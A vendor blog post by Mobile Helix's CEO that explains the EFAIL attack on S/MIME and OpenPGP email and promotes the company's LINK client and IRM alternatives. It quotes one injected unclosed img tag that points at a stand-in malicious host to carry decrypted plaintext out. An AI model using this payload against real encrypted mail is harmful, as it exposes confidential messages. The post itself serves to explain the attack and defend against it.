By Seth Hallem, Moble Helix CEO, Co-founder, & Chief Architect

Secure email using S/MIME and OpenPGP is fundamentally broken. Our CEO explains the EFAIL vulnerability and why our LINK Email is not susceptible to EFAIL. What do we do next to protect email? 

On Sunday night, a team of researchers from Germany and Belgium dropped a major bomb on the world of encrypted email by describing a simple, widely applicable, and wildly effective technique for coercing email clients to release encrypted email contents through “Exfiltration channels.”[1] The concept is simple – by using a combination of known manipulation techniques against the encryption algorithms specified in the S/MIME and OpenPGP standards and lax security choices in a wide variety of email clients, the research team was able to intercept and manipulate encrypted emails such that large blocks of the encrypted text are revealed to a malicious server.

What is most brilliant (and most dangerous) about this attack, is that the attack does not require decrypting the email messages or stealing encryption keys. Hence, the attack can be deployed as a man-in-the-middle attack on the infrastructure of the internet itself, rather than requiring that a specific email server or email client is compromised.

The essential idea behind this attack is simple – HTML emails expose a variety of reasons to query remote servers to load parts of those emails. The simplest (and most common) example of this concept is displaying embedded images. Many marketing emails use tiny embedded images to monitor who has opened an email. This technique is so pervasive that many of us have become desensitized to clicking the “Allow images from this sender” prompt in Outlook. It is common practice for marketing emails to contain embedded images with essential content, which encourages users to allow the client to load all images in that message. However, doing so loads both visible images and tiny, single pixel images that marketing tools use to uniquely determine that we have opened the email message in question.

The research team used this concept of HTML exfiltration channels (e.g., loading images from a remote server) to essentially place the encrypted contents of an email inside of an unclosed “img” tag. In other words, by manipulating a block at the start of an email in order to modify its contents to an injected HTML tag of the form <img src=”http://mailicious.my/, the researchers could then ensure that the encrypted blocks containing the secret message were decrypted into the URL path of the unclosed img tag. On the malicious server (e.g., mailicious.my), the URL path is trivially read and, hence, the encrypted data in the email is stolen.

While the basic concept is simple, the details and the level of vulnerability differ by protocol (S/MIME vs. OpenPGP) and email client. OpenPGP has more potential to be free of vulnerability, but that requires a certain set of choices in the implementation of the decryption algorithm in OpenPGP that many email clients have not chosen. In addition, the more click-happy a user is in allowing embedded images to load, the more likely the exploit is to succeed in any arbitrary email client.

What is most alarming about this attack is that there is no simple bug to be fixed, and the presence (or absence) of corporate email security gateways has absolutely no bearing on whether or not the attack will succeed. In summary, secure email using S/MIME and OpenPGP is fundamentally broken. Chances are, it may be fatally broken because upgrading these protocols across the many email clients and security gateways that implement them is an essentially intractable problem.

Our product, LINK, has no particular stake in this game – we do not support S/MIME or OpenPGP on the email client as those protocols are generally implemented at the gateway level in a corporate context. However, LINK does provide one distinct advantage over most email clients – we do strict HTML validation of all emails before downloading them using the OWASP Java HTML sanitizer.[2] Hence, emails with unclosed img tags (leading to the open-ended manipulation of secret data into a URL path) fail sanitization, and the result sent to our email client is an empty message. While it would take a far more extensive investigation to ensure that the LINK email client definitively blocks all possible “exfiltration channels,” the simple examples presented in the paper will not work with LINK email.

Email was never designed with security in mind. Were it designed to be secure, encryption standards like S/MIME and OpenPGP would have been designed into the SMTP protocol itself, rather than layered on top and left to individual clients and gateway solutions to implement with varying degrees of care. However, LINK Email was designed with security in mind and, hence, we are more careful than most about what content we choose to display in the LINK client. However, we have not yet endeavored to solve the problem of end-to-end data protection and integrity for email messages. At the moment, our customers rely on the same gateway solutions that have just proven vulnerable.

When it comes to sending confidential email, S/MIME and OpenPGP, including all of the various gateway solutions that automatically encrypt using those protocols, are no longer safe choices. It is time for enterprises to look to an IRM-based solution, such as Microsoft Azure Rights Management, to protect email using modern encryption that is not vulnerable to the message manipulation technique employed in this exploit. In the long run, the user experience of email is here to stay, but the underlying technology needs to evolve. Security needs to be designed into email transport. Until that happens, email will remain a ripe target for hackers and thieves.

[1] https://efail.de/efail-attack-paper.pdf

[2] https://www.owasp.org/index.php/OWASP_Java_HTML_Sanitizer_Project